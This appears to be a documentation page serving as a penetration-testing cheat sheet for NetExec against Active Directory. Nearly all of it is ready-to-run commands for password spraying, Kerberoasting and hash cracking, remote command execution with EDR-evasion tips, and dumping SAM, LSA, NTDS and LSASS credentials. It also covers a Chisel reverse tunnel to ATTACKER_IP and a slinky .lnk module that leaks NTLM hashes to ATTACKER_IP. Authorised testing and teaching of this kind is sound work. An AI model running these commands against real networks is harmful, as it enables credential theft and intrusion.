> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # NetExec NetExec (the actively maintained successor to CrackMapExec) is the go-to tool for anything involving Active Directory at scale: password spraying across a subnet, enumerating shares and users, dumping secrets, or running commands on dozens of hosts at once through a single consistent syntax. Almost every protocol it supports (SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP) shares the same core flags, so learning the pattern once covers most of what you'll actually use. > [!NOTE] > > NetExec's output is color-coded, which makes scanning a wall of results much faster once you know what each color means. > > | Output | Meaning | > | - | - | > | Green `+` | Username and password are valid | > | Red `-` | Username or password is invalid | > | Magenta | Credentials are valid, but authentication itself didn't fully succeed | > | `(Pwn3d!)` | Administrator or high privileges on the target | > [!TIP] > > [netexec.wiki](https://www.netexec.wiki/) is the official reference and the best place to check for anything not covered here, modules especially get added and updated often. *** ## Connecting to Targets Every NetExec command follows the same shape: pick a protocol, point it at a target, and optionally add credentials. Once that pattern clicks, the rest of the tool is mostly just flags on top of it. ```bash theme={null} netexec smb TARGET # protocol can be smb, winrm, mssql, ldap, ssh, rdp, or ftp netexec smb TARGET -u USER -p PASS # add credentials to authenticate netexec smb TARGET -u USER -H NTHASH # or authenticate with an NTLM hash instead of a password ``` `TARGET` and the credential flags all accept more than a single value, which is what makes NetExec useful for spraying rather than just one-off logins: ```bash theme={null} netexec smb targets.txt -u users.txt -p passwords.txt # target, user, and password can each be a file netexec smb 10.10.10.0/24 -u USER -p PASS # target can also be a CIDR range ``` > [!TIP] > > `--continue-on-success` keeps spraying after the first valid credential is found instead of stopping, useful when you want every hit rather than just confirmation that spraying works. `--no-bruteforce` pairs a user list with a password list line by line instead of testing every combination. *** ## Authentication & Password Spraying NetExec authenticates against the domain controller by default. A few flags change exactly how that authentication happens, which matters once you're dealing with local accounts, Kerberos, or just confirming anonymous access. ```bash theme={null} netexec smb TARGET -u '' -p '' # test anonymous logon first, costs nothing to check netexec smb TARGET -u USER -p PASS -d DOMAIN # force a specific domain if auto-detection picks the wrong one netexec smb TARGET --local-auth -u USER -p PASS # authenticate locally instead of against the domain ``` Kerberos authentication needs the target's FQDN rather than a bare IP: ```bash theme={null} netexec smb TARGET -u USER -k --use-kcache # authenticate using a cached Kerberos ticket (ccache) netexec smb TARGET -u USER --aesKey AES_KEY # authenticate with an AES-128/256 key instead of a password ``` *** ## SMB Enumeration SMB is where most of NetExec's enumeration power lives, since it doubles as both a login point and a way to pull domain information straight from a host without needing LDAP access at all. ```bash theme={null} netexec smb TARGET # OS version, SMB version, hostname, no credentials needed netexec smb TARGET -u USER -p PASS --shares # enumerate share permissions netexec smb TARGET -u USER -p PASS --users # enumerate domain users netexec smb TARGET -u USER -p PASS --groups # enumerate domain groups netexec smb TARGET -u USER -p PASS --pass-pol # pull the domain's password policy ``` > **More SMB enumeration flags** > > ```bash theme={null} > netexec smb TARGET --gen-relay-list output.txt # map hosts that don't require SMB signing, useful for relay attacks > netexec smb TARGET -u USER -p PASS --sessions # active sessions on the target > netexec smb TARGET -u USER -p PASS --disks # disks present on the target > netexec smb TARGET -u USER -p PASS --computers # domain computer accounts > netexec smb TARGET -u USER -p PASS --loggedon-users # currently logged-on users > netexec smb TARGET -u USER -p PASS --local-group # local group membership > netexec smb TARGET -u USER -p PASS --rid-brute [MAX_RID] # enumerate users by brute-forcing RIDs, up to 4000 by default > netexec smb TARGET -u USER -p PASS --wmi "SELECT * FROM Win32_Process" # run a raw WMI query > ``` *** ## LDAP Enumeration LDAP enumeration digs into attributes SMB doesn't expose directly, which makes it the better choice once you're hunting for specific misconfigurations rather than just getting a lay of the land. ```bash theme={null} netexec ldap TARGET -u USER -p PASS --users # enabled domain users netexec ldap TARGET -u USER -p PASS --groups # domain groups netexec ldap TARGET -u USER -p PASS --admin-count # objects with adminCount=1, often high-value accounts netexec ldap TARGET -u USER -p PASS --trusted-for-delegation # accounts flagged for unconstrained delegation netexec ldap TARGET -u USER -p PASS --password-not-required # accounts with PASSWD_NOTREQD set ``` *** ## Finding Accounts: AS-REP and Kerberoasting Both techniques recover crackable Kerberos hashes without needing a foothold on the target host itself, just a valid (even low-privileged) domain account and LDAP access. ```bash theme={null} netexec ldap TARGET_FQDN -u USER -p PASS --asreproast asrep.out # users with Kerberos pre-auth disabled netexec ldap TARGET_FQDN -u USER -p PASS --kerberoasting kerb.out # TGS tickets for accounts with an SPN set ``` Crack whatever comes back with hashcat: ```bash theme={null} hashcat -m 18200 asrep.out /usr/share/wordlists/rockyou.txt --force hashcat -m 13100 kerb.out /usr/share/wordlists/rockyou.txt --force ``` *** ## Command Execution Once you've got valid credentials, NetExec can run commands directly rather than needing a separate tool to pop a shell. The execution method matters: some get caught by EDR far more readily than others. ```bash theme={null} netexec smb TARGET -u USER -p PASS -x "whoami" # execute a CMD command netexec smb TARGET -u USER -p PASS -X "whoami" # execute a PowerShell command instead netexec winrm TARGET -u USER -p PASS -x "whoami" # same idea over WinRM rather than SMB ``` > [!TIP] > > `--exec-method` controls how the command actually gets executed (`wmiexec`, `atexec`, `smbexec`, `mmcexec`). `wmiexec` is the default and usually quietest, but if it's being blocked, the others are worth trying before assuming execution is dead entirely. *** ## Extracting Secrets With admin rights on a target, NetExec can pull credential material directly rather than needing a separate dumping tool staged on disk. ```bash theme={null} netexec smb TARGET -u USER -p PASS --sam # dump the local SAM database netexec smb TARGET -u USER -p PASS --lsa # dump LSA secrets netexec smb TARGET -u USER -p PASS --ntds # dump NTDS.dit from a domain controller ``` > **LSASS dumping modules** > > Several modules dump LSASS memory using different underlying techniques, useful when one gets flagged by EDR and you need a fallback. > > ```bash theme={null} > netexec smb TARGET -u USER -p PASS -M lsassy # dump via lsassy > netexec smb TARGET -u USER -p PASS -M procdump # dump via procdump > netexec smb TARGET -u USER -p PASS -M nanodump # dump via nanodump > ``` *** ## File Operations Beyond credential dumping, NetExec can search and pull files straight out of SMB shares, which is often faster than mounting a share manually just to grep through it. ```bash theme={null} netexec smb TARGET -u USER -p PASS --spider SHARE --pattern "password" # search a share for a filename pattern netexec smb TARGET -u USER -p PASS --share SHARE --get-file REMOTE LOCAL # download a specific file netexec smb TARGET -u USER -p PASS --share SHARE --put-file LOCAL REMOTE # upload a specific file ``` For pulling everything at once instead of searching file by file: ```bash theme={null} netexec smb TARGET -u USER -p PASS -M spider_plus -o READ_ONLY=false ``` *** ## Domain Misconfiguration Checks A couple of built-in modules check for classic Group Policy credential leaks, both of which are still surprisingly common findings on real engagements. ```bash theme={null} netexec smb TARGET -u USER -p PASS -M gpp_password # recover plaintext passwords pushed via Group Policy Preferences netexec smb TARGET -u USER -p PASS -M gpp_autologin # recover autologon credentials from registry.xml ``` *** ## Vulnerability Scan Modules These check for known, high-impact Active Directory vulnerabilities, worth running early against any domain controller before diving into manual enumeration. ```bash theme={null} netexec smb TARGET -M zerologon # CVE-2020-1472 netexec smb TARGET -M ms17-010 # EternalBlue netexec smb TARGET -M petitpotam # unauthenticated coercion to force authentication netexec smb TARGET -u USER -p PASS -M nopac # CVE-2021-42278 / CVE-2021-42287 ``` > [!WARNING] > > A positive result on `zerologon` or `ms17-010` means the target is one exploit away from full compromise. Treat these findings as critical and stop to assess impact before continuing to enumerate. *** ## Pivoting Through a Compromised Host NetExec can push a Chisel client or server onto a target over SMB, which turns a single set of valid credentials into a tunnel without needing separate file transfer and execution steps. ```bash theme={null} # Attack host: start the Chisel server chisel server --reverse # Target, launched via netexec: connect back as the client netexec smb TARGET -u USER -p PASS -x "C:\Windows\Temp\chisel.exe client ATTACKER_IP:8080 R:socks" ``` > **Hash stealing via SMB coercion** > > The `slinky` module drops a malicious shortcut file (`.lnk`) on writable shares; anyone browsing to it leaks an NTLM hash to a listener like Responder. > > ```bash theme={null} > netexec smb TARGET -u USER -p PASS -M slinky -o SERVER=ATTACKER_IP NAME=LNK_NAME > ``` > > Clean it up afterward: > > ```bash theme={null} > netexec smb TARGET -u USER -p PASS -M slinky -o SERVER=ATTACKER_IP NAME=LNK_NAME CLEAN=YES > ``` *** ## Useful Modules A handful of modules that come up often enough to be worth knowing by name, beyond what's covered above. ```bash theme={null} netexec ldap TARGET -u USER -p PASS -M laps # read LAPS passwords for machines the account can access netexec ldap TARGET -u USER -p PASS -M maq # check the machine account quota for a user netexec smb TARGET -u USER -p PASS -M keepass_discover # locate a KeePass config file on the target ``` List any module's own options before running it: ```bash theme={null} netexec PROTOCOL -L # list all available modules netexec PROTOCOL -M MODULE --options # show a specific module's options ``` *** ## Exporting Results ```bash theme={null} netexec smb TARGET -u USER -p PASS --users --export output.json # export supported output to JSON netexec smb TARGET > output.txt # or just redirect stdout if a command has no export flag ``` > **NetExec's internal database (netexecdb)** > > NetExec keeps a workspace database of everything it's touched, credentials, hosts, shares, which is handy for picking up an engagement without re-running every scan. > > ```bash theme={null} > workspace list # list workspaces > workspace WORKSPACE_NAME # switch to one > creds # show all stored credentials > creds plaintext # show only plaintext credentials > hosts # hosts gained access to > shares # discovered share information > export creds detailed output.csv # export stored credentials > ``` *** ## Quick Reference Tools > **[NetExec Wiki](https://www.netexec.wiki/)** > > The official documentation, covers every module and flag in depth. > **[NetExec on GitHub](https://github.com/Pennyw0rth/NetExec)** > > Source, issues, and the latest module additions. > [!WARNING] > > Password spraying and credential dumping can lock out accounts or trip alerting fast. Confirm scope and rate limits before running anything beyond a single test login. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.